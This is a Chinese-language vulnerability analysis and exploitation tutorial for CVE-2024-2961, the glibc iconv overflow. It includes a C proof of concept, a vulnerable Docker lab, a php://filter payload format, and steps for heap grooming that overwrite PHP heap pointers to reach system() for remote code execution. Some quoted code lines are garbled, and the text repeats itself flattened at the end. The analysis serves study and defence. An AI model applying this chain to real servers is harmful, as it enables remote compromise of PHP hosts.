CVE-2024-2961 漏洞分析
字数 1761 2025-08-20 18:18:23

GLIBC iconv缓冲区溢出漏洞(CVE-2024-2961)分析与利用教学

漏洞概述

CVE-2024-2961是GLIBC中iconv库的一个缓冲区溢出漏洞,主要影响Linux系统。该漏洞的特殊之处在于:

  • 漏洞位于glibc/iconvdata/iso-2022-cn-ext.c文件中
  • 能够将PHP的任意文件读取漏洞升级为远程命令执行漏洞
  • 漏洞发现具有偶然性,通过fuzz PHP而非直接fuzz iconv库发现

漏洞技术细节

漏洞代码分析

漏洞存在于ISO-2022-CN-EXT字符集转换处理中,关键问题代码:

else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8)) {
    const char *escseq;
    assert (used == CNS11643_2_set); /* XXX */
    escseq = "*H";
    *outptr++ = ESC;
    *outptr+outptr++ = *escseq++;
    *outptr++ = *escseq++;
    ann = (ann & ~SS2_ann) | (used << 8);
}
else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8)) {
    const char *escseq;
    assert ((used >> 5) >= 3 && (used >> 5) <= 7);
    escseq = "+I+J+K+L+M" + ((used >> 5) - 3) * 2;
    *outptr++ = ESC;
    *outptr+outptr++ = *escseq++;
    *outptr++ = *escseq++;
    ann = (ann & ~SS3_ann) | (used << 8);
}

漏洞特点:

  1. 这两个分支会将输入转换为4字节输出
  2. 没有检查输出缓冲区长度
  3. 可能产生6种不同的输出格式

漏洞触发原理

特殊字符"劄"(UTF-8编码为\xe5\x8a\x84):

  • 输入仅占3字节
  • 会被转译为\x1b$*H(4字节)
  • 导致1字节的缓冲区溢出

PoC分析

基础PoC代码:

#include <iconv.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>

void hexdump(void *ptr, int buflen) {
    // 省略hexdump实现
}

void main() {
    iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");
    char input[0x3] = "劄劄";
    char output[0x3] = {0};
    char overflow[0x5] = "AAAA";
    char *pinput = input;
    char *poutput = output;
    size_t sinput = 3;
    size_t soutput = 3;
    size_t status = iconv(cd, &pinput, &sinput, &poutput, &soutput);
    printf("Remaining bytes (should be > 0): %zd\nstatus = %d\n", soutput, status);
    hexdump(output, 0x10);
    printf("overflow = %s\n", overflow);
}

执行结果:

Remaining bytes (should be > 0): -1
status = -1
000000: 1b 24 2a 48 41 41 41 00 00 13 9e 1c e1 6c 44 86 .$*HAAA......lD.
overflow = HAAA

PHP环境下的漏洞利用

利用场景

将PHP的任意文件读取漏洞升级为远程命令执行漏洞:

<?php
$data = file_get_contents($_POST['file']);
echo "File contents: $data";
?>

利用Payload格式:

php://filter/read=convert.iconv.UTF-8.ISO-2022-CN-EXT/resource=data:text/plain;base64,xxxxxxx

环境搭建

Dockerfile配置:

FROM ubuntu:22.04
RUN sed -i 's@//.*archive.ubuntu.com@//mirrors.ustc.edu.cn@g' /etc/apt/sources.list
RUN sed -i 's/security.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
RUN apt update && apt install -y nginx php-fpm
# 使用有漏洞的libc版本
RUN apt install -y libc6-dev=2.35-0ubuntu3 libc-dev-bin=2.35-0ubuntu3 libc6=2.35-0ubuntu3
COPY index.php /var/www/html/index.php
COPY nginx.conf /etc/nginx/sites-enabled/default
COPY start.sh /start.sh
RUN chmod +x /start.sh
CMD ["start.sh"]

利用步骤分析

  1. 检测目标可利用性

    • 检查是否支持data:text/plain;base64,
    • 检查是否支持php://filter//resource=data:text/plain;base64,
    • 检查是否支持php://filter/zlib.inflate/resource=data:text/plain;base64,
  2. 获取内存布局

    • 通过/proc/self/maps获取libc基地址和PHP堆基地址
    • PHP堆特征:
      • 大小≥0x200000且为其倍数
      • 不属于任何二进制文件
      • 权限为rw-p
  3. 构造Payload

    • 组合使用多种filter:
      • zlib.inflate - 解压缩数据
      • dechunk - 处理HTTP CHUNKED格式
      • convert.iconv - 字符编码转换

关键技术点

  1. PHP堆管理

    • PHP使用自定义堆管理而非直接使用libc的malloc
    • 关键结构体_zend_mm_heap
      struct _zend_mm_heap {
          // ...省略其他字段...
          zend_mm_free_slot *free_slot[ZEND_MM_BINS]; // 小尺寸空闲列表
          // ...省略其他字段...
      };
      
    • free_slot类似于tcache,但缺乏安全检查
  2. Filter功能分析

    • zlib.inflate
      • 调用php_zlib_inflate_filter
      • 最大分配堆尺寸为0x8000
    • dechunk
      • 处理HTTP CHUNKED格式
      • 可控制buflen标志位
    • convert.quoted-printable-decode
      • 解码=00格式数据为\x00
    • convert.iconv
      • 调用iconv函数进行编码转换
  3. 利用链构造

    • 组合使用dechunkconvert.iconv.latin1.latin1控制堆分配
    • 目标修改_zend_mm_heap->custom_heap结构
    • 利用emalloc中的自定义堆处理:
      if (UNEXPECTED(AG(mm_heap)->use_custom_heap)) {
          return _malloc_custom(size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
      }
      

完整利用步骤

  1. 控制0x100大小的堆分配与释放

    • 使用dechunkconvert.iconv.latin1.latin1组合
    • 精确控制堆大小和释放时机
  2. 触发漏洞覆盖指针

    • 构造特定堆布局
    • 利用iconv漏洞覆盖free_slot指针
  3. 控制_zend_mm_heap结构

    • 设置use_custom_heap为非0
    • 设置custom_heap._free为system地址
    • 同时设置_malloc_realloc函数指针
  4. 执行命令

    • 在特定位置写入命令字符串
    • 建议包含kill -9 $PPID防止意外执行

调试技巧

  1. GDB初始化配置

    define php_heap
        p *(struct _zend_mm_heap *) 0x7ffff5200040
    end
    
    define pbucket
        p *(php_stream_bucket *) $arg0
    end
    
    define pbucketall
        pbucket $arg0
        set $bucket = (php_stream_bucket*) $arg0
        if $bucket->next != 0
            pbucketall $bucket->next
        end
    end
    
    dir ./php8.1-8.1.2/
    b *(_php_stream_fill_read_buffer+309)
    r poc.php
    
  2. 关键断点

    • php_zlib_inflate_filter
    • php_chunked_filter
    • php_iconv_stream_filter_do_filter

总结与防御建议

漏洞影响

  • 影响所有使用有漏洞版本GLIBC的系统
  • 特别影响PHP应用,可将文件读取升级为RCE

缓解措施

  1. 升级GLIBC到已修复版本
  2. 限制PHP危险函数的使用
  3. 实施严格的输入过滤

研究方向

  • 研究iconv在其他应用中的使用情况
  • 探索更多可能的利用场景

参考资源

GLIBC iconv缓冲区溢出漏洞(CVE-2024-2961)分析与利用教学 漏洞概述 CVE-2024-2961是GLIBC中iconv库的一个缓冲区溢出漏洞,主要影响Linux系统。该漏洞的特殊之处在于: 漏洞位于glibc/iconvdata/iso-2022-cn-ext.c文件中 能够将PHP的任意文件读取漏洞升级为远程命令执行漏洞 漏洞发现具有偶然性,通过fuzz PHP而非直接fuzz iconv库发现 漏洞技术细节 漏洞代码分析 漏洞存在于ISO-2022-CN-EXT字符集转换处理中,关键问题代码: 漏洞特点: 这两个分支会将输入转换为4字节输出 没有检查输出缓冲区长度 可能产生6种不同的输出格式 漏洞触发原理 特殊字符"劄"(UTF-8编码为 \xe5\x8a\x84 ): 输入仅占3字节 会被转译为 \x1b$*H (4字节) 导致1字节的缓冲区溢出 PoC分析 基础PoC代码: 执行结果: PHP环境下的漏洞利用 利用场景 将PHP的任意文件读取漏洞升级为远程命令执行漏洞: 利用Payload格式: 环境搭建 Dockerfile配置: 利用步骤分析 检测目标可利用性 检查是否支持 data:text/plain;base64, 检查是否支持 php://filter//resource=data:text/plain;base64, 检查是否支持 php://filter/zlib.inflate/resource=data:text/plain;base64, 获取内存布局 通过 /proc/self/maps 获取libc基地址和PHP堆基地址 PHP堆特征: 大小≥0x200000且为其倍数 不属于任何二进制文件 权限为 rw-p 构造Payload 组合使用多种filter: zlib.inflate - 解压缩数据 dechunk - 处理HTTP CHUNKED格式 convert.iconv - 字符编码转换 关键技术点 PHP堆管理 PHP使用自定义堆管理而非直接使用libc的malloc 关键结构体 _zend_mm_heap : free_slot 类似于tcache,但缺乏安全检查 Filter功能分析 zlib.inflate : 调用 php_zlib_inflate_filter 最大分配堆尺寸为0x8000 dechunk : 处理HTTP CHUNKED格式 可控制 buflen 标志位 convert.quoted-printable-decode : 解码 =00 格式数据为 \x00 convert.iconv : 调用iconv函数进行编码转换 利用链构造 组合使用 dechunk 和 convert.iconv.latin1.latin1 控制堆分配 目标修改 _zend_mm_heap->custom_heap 结构 利用 emalloc 中的自定义堆处理: 完整利用步骤 控制0x100大小的堆分配与释放 使用 dechunk 和 convert.iconv.latin1.latin1 组合 精确控制堆大小和释放时机 触发漏洞覆盖指针 构造特定堆布局 利用iconv漏洞覆盖 free_slot 指针 控制 _zend_mm_heap 结构 设置 use_custom_heap 为非0 设置 custom_heap._free 为system地址 同时设置 _malloc 和 _realloc 函数指针 执行命令 在特定位置写入命令字符串 建议包含 kill -9 $PPID 防止意外执行 调试技巧 GDB初始化配置 : 关键断点 : php_zlib_inflate_filter php_chunked_filter php_iconv_stream_filter_do_filter 总结与防御建议 漏洞影响 影响所有使用有漏洞版本GLIBC的系统 特别影响PHP应用,可将文件读取升级为RCE 缓解措施 升级GLIBC到已修复版本 限制PHP危险函数的使用 实施严格的输入过滤 研究方向 研究iconv在其他应用中的使用情况 探索更多可能的利用场景 参考资源 原文链接 PoC代码